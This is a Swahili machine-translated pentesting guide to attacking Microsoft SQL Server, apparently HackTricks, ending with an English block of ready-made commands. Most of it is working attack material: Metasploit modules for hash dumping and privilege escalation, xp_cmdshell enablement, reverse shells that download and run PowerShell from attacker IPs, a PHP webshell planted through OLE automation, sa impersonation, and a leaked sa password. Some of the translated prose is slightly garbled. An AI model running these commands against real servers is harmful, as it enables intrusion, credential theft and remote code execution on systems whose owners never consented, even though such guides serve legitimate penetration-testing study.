Microsoft SQL Server ni mfumo wa usimamizi wa hifadhidata wa uhusiano ulioendelezwa na Microsoft. Kama seva ya hifadhidata, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kupata data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Intaneti).\
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
Default MS-SQL System Tables
master Database: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server.
msdb Database: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi.
model Database: Inatumika kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa.
Resource Database: Hii ni database ya kusoma tu ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika database ya Resource, vinawasilishwa kimaadili katika schema ya sys ya kila database.
tempdb Database: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati.
Ikiwa hunaakikazi unaweza kujaribu kuyakisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza kufunga akaunti ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo.
Metasploit (inahitaji creds)
#Set USERNAME, RHOSTS and PASSWORD#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used#Steal NTLMmsf> useauxiliary/admin/mssql/mssql_ntlm_stealer#Steal NTLM hash, before executing run Responder#Info gatheringmsf> useadmin/mssql/mssql_enum#Security checksmsf> useadmin/mssql/mssql_enum_domain_accountsmsf> useadmin/mssql/mssql_enum_sql_loginsmsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/scanner/mssql/mssql_hashdumpmsf> useauxiliary/scanner/mssql/mssql_schemadump#Search for insteresting datamsf> useauxiliary/admin/mssql/mssql_findandsampledatamsf> useauxiliary/admin/mssql/mssql_idf#Privescmsf> useexploit/windows/mssql/mssql_linkcrawlermsf> useadmin/mssql/mssql_escalate_execute_as#If the user has IMPERSONATION privilege, this will try to escalatemsf> useadmin/mssql/mssql_escalate_dbowner#Escalate from db_owner to sysadmin#Code executionmsf> useadmin/mssql/mssql_exec#Execute commandsmsf> useexploit/windows/mssql/mssql_payload#Uploads and execute a payload#Add new admin user from meterpreter sessionmsf> usewindows/manage/mssql_local_auth_bypass
# Using Impacket mssqlclient.pymssqlclient.py [-db volume]<DOMAIN>/<USERNAME>:<PASSWORD>@<IP>## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machinemssqlclient.py [-db volume]-windows-auth<DOMAIN>/<USERNAME>:<PASSWORD>@<IP># Using sqshsqsh-S<IP>-U<Username>-P<Password>-D<Database>## In case Windows Auth using "." as domain name for local usersqsh-S<IP>-U.\\<Username>-P<Password>-D<Database>## In sqsh you need to use GO after writting the query to send it1>select 1;2> go
Uainishaji wa Kawaida
# Getversionselect @@version;# Get userselectuser_name();# Get databasesSELECTnameFROM master.dbo.sysdatabases;# UsedatabaseUSEmaster#Gettable namesSELECT*FROM<databaseName>.INFORMATION_SCHEMA.TABLES;#List Linked ServersEXEC sp_linkedserversSELECT*FROM sys.servers;#List usersselect sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privsCREATELOGIN hacker WITHPASSWORD='P@ssword123!'EXEC sp_addsrvrolemember 'hacker', 'sysadmin'#Enumerate linksenum_links#Use a linkuse_link [NAME]
# Get all the users and rolesselect*from sys.database_principals;## This query filters a bit the resultsselectname,create_date,modify_date,type_descastype,authentication_type_desc as authentication_type,sidfrom sys.database_principalswheretypenotin ('A', 'R')order byname;## Both of these select all the users of the current database (not the server).## Interesting when you cannot acces the table sys.database_principalsEXEC sp_helpuserSELECT*FROM sysusers
Pata Ruhusa
Securable: Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika:
Server – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles.
Database – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji.
Schema – Inajumuisha tables, views, procedures, functions, synonyms, nk.
Permission: Inahusishwa na SQL Server securables, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili:
Server Level kwa kutumia logins
Database Level kwa kutumia watumiaji
Principal: Neno hili linarejelea kitengo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa database. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika roles zilizo na haki za ufikiaji.
# Show all different securables namesSELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);# Show all possible permissions in MSSQLSELECT*FROM sys.fn_builtin_permissions(DEFAULT);# Get all my permissions over securable typeSERVERSELECT*FROM fn_my_permissions(NULL, 'SERVER');# Get all my permissions over a databaseUSE<database>SELECT*FROM fn_my_permissions(NULL, 'DATABASE');# Get members of the role"sysadmin"UsemasterEXEC sp_helpsrvrolemember 'sysadmin';# Getif the current user is sysadminSELECTIS_SRVROLEMEMBER('sysadmin');# Get users that can run xp_cmdshellUsemasterEXEC sp_helprotect 'xp_cmdshell'
Tricks
Execute OS Commands
Kumbuka kwamba ili uweze kutekeleza amri, si tu inahitajika kuwa na xp_cmdshellimewezeshwa, bali pia kuwa na ruhusa ya EXECUTE kwenye utaratibu wa kuhifadhi xp_cmdshell. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia xp_cmdshell kwa:
UsemasterEXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD commandcrackmapexecmssql-d<Domainname>-u<username>-p<password>-x"whoami"# Username + Hash + PS commandcrackmapexecmssql-d<Domainname>-u<username>-H<HASH>-X'$PSVersionTable'# Check if xp_cmdshell is enabledSELECT*FROMsys.configurationsWHEREname='xp_cmdshell';# This turns on advanced options and is needed to configure xp_cmdshellsp_configure'show advanced options','1'RECONFIGURE#This enables xp_cmdshellsp_configure'xp_cmdshell','1'RECONFIGURE#One linerEXECsp_configure'Show Advanced Options',1; RECONFIGURE; EXECsp_configure'xp_cmdshell',1; RECONFIGURE;# Quickly check what the service account is via xp_cmdshellEXECmaster..xp_cmdshell'whoami'# Get Rev shellEXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'pingk7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
Kuiba NetNTLM hash / Mashambulizi ya Relay
Unapaswa kuanzisha SMB server ili kukamata hash inayotumika katika uthibitishaji (impacket-smbserver au responder kwa mfano).
Ili kuandika faili kwa kutumia MSSQL, tunahitaji kuwezeshaOle Automation Procedures, ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili:
# Enable Ole Automation Proceduressp_configure'show advanced options',1RECONFIGUREsp_configure'Ole Automation Procedures',1RECONFIGURE# Create a FileDECLARE@OLEINTDECLARE@FileIDINTEXECUTEsp_OACreate'Scripting.FileSystemObject',@OLEOUTEXECUTEsp_OAMethod@OLE,'OpenTextFile',@FileIDOUT,'c:\inetpub\wwwroot\webshell.php',8,1EXECUTEsp_OAMethod@FileID,'WriteLine',Null,'<?php echo shell_exec($_GET["c"]);?>'EXECUTEsp_OADestroy@FileIDEXECUTEsp_OADestroy@OLE
Soma faili na OPENROWSET
Kwa default, MSSQL inaruhusu kusoma faili katika faili yoyote kwenye mfumo wa uendeshaji ambayo akaunti ina ruhusa ya kusoma. Tunaweza kutumia swali la SQL lifuatalo:
SELECT*FROMOPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
Hata hivyo, chaguo la BULK linahitaji ruhusa ya ADMINISTER BULK OPERATIONS au ADMINISTER DATABASE BULK OPERATIONS.
# Checkif you have itSELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
RCE/Soma faili zinazotekeleza skripti (Python na R)
MSSQL inaweza kukuruhusu kutekeleza skripti katika Python na/au R. Hizi nambari zitatekelezwa na mtumiaji tofauti na yule anayatumia xp_cmdshell kutekeleza amri.
Mfano wa kujaribu kutekeleza 'R'"Hellow World!"haifanyi kazi:
Mfano wa kutumia python iliyowekwa kufanya vitendo kadhaa:
# Print the user being used (andexecute commands)EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("getpass").getuser())'EXECUTE sp_execute_external_script @language =N'Python', @script =N'print(__import__("os").system("whoami"))'#Openandread a fileEXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#MultilineEXECUTE sp_execute_external_script @language =N'Python', @script = N'import sysprint(sys.version)'GO
Soma Usajili
Microsoft SQL Server inatoa taratibu nyingi za kuhifadhi zilizopanuliwa ambazo zinakuwezesha kuingiliana si tu na mtandao bali pia na mfumo wa faili na hata Usajili wa Windows:
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
Ni uwezekano wa kupakia .NET dll ndani ya MSSQL kwa kutumia kazi za kawaida. Hata hivyo, inahitaji dbo ufikiaji hivyo unahitaji muunganisho na database kama sa au jukumu la Msimamizi.
Ikiwa mtumiaji wa kawaida amepewa jukumu db_owner juu ya database inayomilikiwa na mtumiaji wa admin (kama sa) na database hiyo imewekwa kama trustworthy, mtumiaji huyo anaweza kutumia haki hizi kwa privesc kwa sababu stored procedures zilizoundwa huko zinaweza kutekelezwa kama mmiliki (admin).
# Get owners of databasesSELECTsuser_sname(owner_sid) FROM sys.databases# Find trustworthy databasesSELECT a.name,b.is_trustworthy_onFROMmaster..sysdatabases as aINNER JOIN sys.databases as bON a.name=b.name;# Get roles over the selected database (look for your username as db_owner)USE<trustworthy_db>SELECT rp.name as database_role, mp.name as database_userfrom sys.database_role_members drmjoin sys.database_principals rp on (drm.role_principal_id = rp.principal_id)join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)# If you found you are db_owner of a trustworthydatabase, you can privesc:--1. Create a stored procedure to add your user to sysadmin roleUSE<trustworthy_db>CREATEPROCEDURE sp_elevate_meWITHEXECUTEASOWNERASEXEC sp_addsrvrolemember 'USERNAME','sysadmin'--2. Execute stored procedure to get sysadmin roleUSE<trustworthy_db>EXEC sp_elevate_me--3. Verify your user is a sysadminSELECTis_srvrolemember('sysadmin')
SQL Server ina ruhusa maalum, inayoitwa IMPERSONATE, ambayo inawaruhusu watumiaji wanaotekeleza kuchukua ruhusa za mtumiaji mwingine au kuingia hadi muktadha urejelewe au kikao kikome.
# Find users you can impersonateSELECT distinct b.nameFROM sys.server_permissions aINNER JOIN sys.server_principals bON a.grantor_principal_id = b.principal_idWHERE a.permission_name ='IMPERSONATE'# Checkif the user "sa"or any other high privileged user is mentioned# Impersonate sa userEXECUTEASLOGIN='sa'SELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')# If you can't find any users, make sure to check for linksenum_links# If there is a link of interest, re-run the above steps on each linkuse_link [NAME]
Ikiwa unaweza kujifanya kuwa mtumiaji, hata kama si sysadmin, unapaswa kuangalia if the user has access kwa databases nyingine au seva zilizounganishwa.
Kumbuka kwamba mara tu unapo kuwa sysadmin unaweza kujifanya kuwa mtu mwingine yeyote:
-- Impersonate RegUserEXECUTEASLOGIN='RegUser'-- Verify you are now running as the the MyUser4 loginSELECT SYSTEM_USERSELECTIS_SRVROLEMEMBER('sysadmin')-- Change back to saREVERT
Unaweza kufanya shambulio hili kwa kutumia moduli ya metasploit:
Kutolewa kwa nywila kutoka kwa SQL Server Linked Servers
Mshambuliaji anaweza kutoa nywila za SQL Server Linked Servers kutoka kwa SQL Instances na kuzipata kwa maandiko wazi, akimpa mshambuliaji nywila ambazo zinaweza kutumika kupata ushawishi mkubwa zaidi kwenye lengo. Skripti ya kutoa na kufichua nywila zilizohifadhiwa kwa Linked Servers inaweza kupatikana hapa
Baadhi ya mahitaji, na usanidi lazima yafanyike ili exploit hii ifanye kazi. Kwanza kabisa, lazima uwe na haki za Administrator kwenye mashine, au uwezo wa kusimamia Usanidi wa SQL Server.
Baada ya kuthibitisha ruhusa zako, unahitaji kusanidi mambo matatu, ambayo ni yafuatayo:
Wezesha TCP/IP kwenye SQL Server instances;
Ongeza parameter ya Kuanzisha, katika kesi hii, bendera ya trace itaongezwa, ambayo ni -T7806.
Wezesha muunganisho wa usimamizi wa mbali.
Ili kujiandaa kwa usanidi huu, hii hazina ina skripti zinazohitajika. Mbali na kuwa na skripti ya powershell kwa kila hatua ya usanidi, hazina pia ina skripti kamili ambayo inachanganya skripti za usanidi na utoaji na ufichuzi wa nywila.
Mtumiaji anayekimbia MSSQL server atakuwa amewezesha token ya haki SeImpersonatePrivilege.
Huenda ukawa na uwezo wa kuinua hadi kwa Administrator ukifuatia moja ya hizi kurasa 2:
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}
Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'